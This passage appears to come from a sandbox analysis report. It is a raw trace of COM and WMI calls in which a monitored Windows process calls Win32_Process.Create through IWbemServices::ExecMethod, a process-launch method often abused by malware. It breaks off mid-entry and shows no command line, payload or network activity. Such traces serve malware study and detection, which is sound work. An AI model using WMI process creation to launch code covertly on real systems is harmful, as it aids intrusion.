WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b3d0, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0155.242] IWbemServices:ExecMethod (in: This=0x1bbaa570, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bbd3ad0, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1bbd3d80, ppCallResult=0x0) returned 0x0 [0155.396] IWbemClassObject:Get (in: This=0x1bbd3d80, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2866508*=0, plFlavor=0x286650c*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xcf8, varVal2=0x0), pType=0x2866508*=19, plFlavor=0x286650c*=0) returned 0x0 [0155.396] IWbemClassObject:Get (in: This=0x1bbd3d80, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2866508*=19, plFlavor=0x286650c*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xcf8, varVal2=0x0), pType=0x2866508*=19, plFlavor=0x286650c*=0) returned 0x0 [0155.397] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0155.397] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0155.397] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0155.397] IUnknown:Release (This=0x1a943398) returned 0x1 [0155.399] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bbf17a0) returned 0x0 [0155.399] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbf17a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0155.399] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbf17a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1aa0ae90) returned 0x0 [0155.399] WbemDefPath:IUnknown:Release (This=0x1bbf17a0) returned 0x0 [0155.399] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ae90, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1aa0ae90) returned 0x0 [0155.399] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ae90, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0155.400] WbemDefPath:IUnknown:AddRef (This=0x1aa0ae90) returned 0x3 [0155.400] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ae90, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0155.400] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ae90, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0155.400] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ae90, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bbf16c0) returned 0x0 [0155.400] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbf16c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0155.400] WbemDefPath:IUnknown:Release (This=0x1bbf16c0) returned 0x3 [0155.400] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0155.400] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0155.400] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ae90, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0155.400] WbemDefPath:IUnknown:Release (This=0x1aa0ae90) returned 0x2 [0155.400] WbemDefPath:IUnknown:Release (This=0x1aa0ae90) returned 0x1 [0155.400] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0155.400] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0155.400] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ae90, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1aa0ae90) returned 0x0 [0155.400] WbemDefPath:IUnknown:AddRef (This=0x1aa0ae90) returned 0x3 [0155.400] WbemDefPath:IUnknown:Release (This=0x1aa0ae90) returned 0x2 [0155.400] WbemDefPath:IWbemPath:SetText (This=0x1aa0ae90, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0155.400] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0ae90, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0155.400] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ae90, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0155.400] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ae90, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0155.400] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0ae90, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0155.400] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0ae90, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0155.400] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0ae90, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0155.401] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0155.401] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0155.401] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0155.401] IUnknown:Release (This=0x1a943398) returned 0x1 [0155.402] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bbf16a0) returned 0x0 [0155.402] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbf16a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0155.402] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbf16a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1aa0add0) returned 0x0 [0155.402] WbemDefPath:IUnknown:Release (This=0x1bbf16a0) returned 0x0 [0155.402] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0add0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1aa0add0) returned 0x0 [0155.403] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0add0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0155.403] WbemDefPath:IUnknown:AddRef (This=0x1aa0add0) returned 0x3 [0155.403] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0add0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0155.403] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0add0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0155.403] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0add0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bbf1640) returned 0x0 [0155.403] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbf1640, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0155.403] WbemDefPath:IUnknown:Release (This=0x1bbf1640) returned 0x3 [0155.403] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0155.403] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0155.403] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0add0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0155.403] WbemDefPath:IUnknown:Release (This=0x1aa0add0) returned 0x2 [0155.403] WbemDefPath:IUnknown:Release (This=0x1aa0add0) returned 0x1 [0155.403] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0155.403] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0155.403] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0add0, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1aa0add0) returned 0x0 [0155.403] WbemDefPath:IUnknown:AddRef (This=0x1aa0add0) returned 0x3 [0155.403] WbemDefPath:IUnknown:Release (This=0x1aa0add0) returned 0x2 [0155.403] WbemDefPath:IWbemPath:SetText (This=0x1aa0add0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0155.403] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0add0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0155.403] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0add0, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0155.403] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0add0, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0155.403] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0add0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0155.404] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0add0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0155.404] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0add0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0155.404] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0add0, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0155.404] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0155.404] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0155.404] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0155.404] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0155.404] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0155.404] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0155.404] IUnknown:Release (This=0x1a943398) returned 0x1 [0155.405] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bbf1620) returned 0x0 [0155.405] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbf1620, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0155.405] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbf1620, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1aa0ad10) returned 0x0 [0155.406] WbemDefPath:IUnknown:Release (This=0x1bbf1620) returned 0x0 [0155.406] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ad10, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1aa0ad10) returned 0x0 [0155.406] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ad10, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0155.406] WbemDefPath:IUnknown:AddRef (This=0x1aa0ad10) returned 0x3 [0155.406] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ad10, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0155.406] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ad10, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0155.406] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ad10, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bbf1400) returned 0x0 [0155.406] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbf1400, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0155.406] WbemDefPath:IUnknown:Release (This=0x1bbf1400) returned 0x3 [0155.406] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0155.406] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0155.406] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ad10, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0155.406] WbemDefPath:IUnknown:Release (This=0x1aa0ad10) returned 0x2 [0155.406] WbemDefPath:IUnknown:Release (This=0x1aa0ad10) returned 0x1 [0155.406] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0155.406] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0155.406] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ad10, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1aa0ad10) returned 0x0 [0155.406] WbemDefPath:IUnknown:AddRef (This=0x1aa0ad10) returned 0x3 [0155.406] WbemDefPath:IUnknown:Release (This=0x1aa0ad10) returned 0x2 [0155.406] WbemDefPath:IWbemPath:SetText (This=0x1aa0ad10, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0155.406] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0ad10, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0155.407] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ad10, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0155.407] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ad10, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0155.407] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0155.407] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0155.407] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0155.407] IUnknown:Release (This=0x1a943398) returned 0x1 [0155.407] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bbf1460) returned 0x0 [0155.408] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1460, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0155.408] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bbf1460, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bbf1480) returned 0x0 [0155.408] WbemLocator:IUnknown:Release (This=0x1bbf1460) returned 0x0 [0155.408] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1480, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bbf1480) returned 0x0 [0155.408] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1480, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, 